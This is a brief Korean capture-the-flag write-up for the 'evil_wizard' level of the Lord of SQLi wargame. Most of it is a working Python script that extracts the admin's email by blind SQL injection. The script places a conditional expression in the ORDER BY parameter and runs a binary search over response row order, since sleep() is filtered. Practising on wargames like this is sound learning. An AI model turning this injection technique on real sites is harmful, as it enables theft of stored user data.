hell_fire에서 이론을 정립했으니 이용해먹자.
기본적 인덱스는 rubiya가 admin보다 상위이다.
추가적으로 sleep()
이 필터링되어 사용할 수 없다.
아래와 같이 쿼리를 짜면 된다. 생각보다 간단.. ㅎㅎ
소스코드
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Disable flag warning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import math
headers = { 'Cookie': 'PHPSESSID=##'}
password = ""
for i in range(1,31): #length = 30
_min=0x20
_max=0x80
# binary search
while _min != _max:
query = f"if(id='admin' and ord(substring(email,{i},1))>{math.ceil((_min+_max)/2)-1},1,2)"
url = f"<https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order={query}>"
res = requests.get(url=url, headers= headers, verify=False)
print("narrow!", _min, _max)
if res.text.find("<td>**************</td>") == -1:
print("Error!")
raise Exception
elif res.text.find("<table border=1><tr><th>id</th><th>email</th><th>score</th><tr><td>admin") != -1 : # true
_min = math.ceil((_min+_max)/2)
else:
_max = math.ceil((_min+_max)/2) - 1
# answer!
password += chr(_min)
print("find!", i, chr(_min))
print(password.lower())
# [email protected]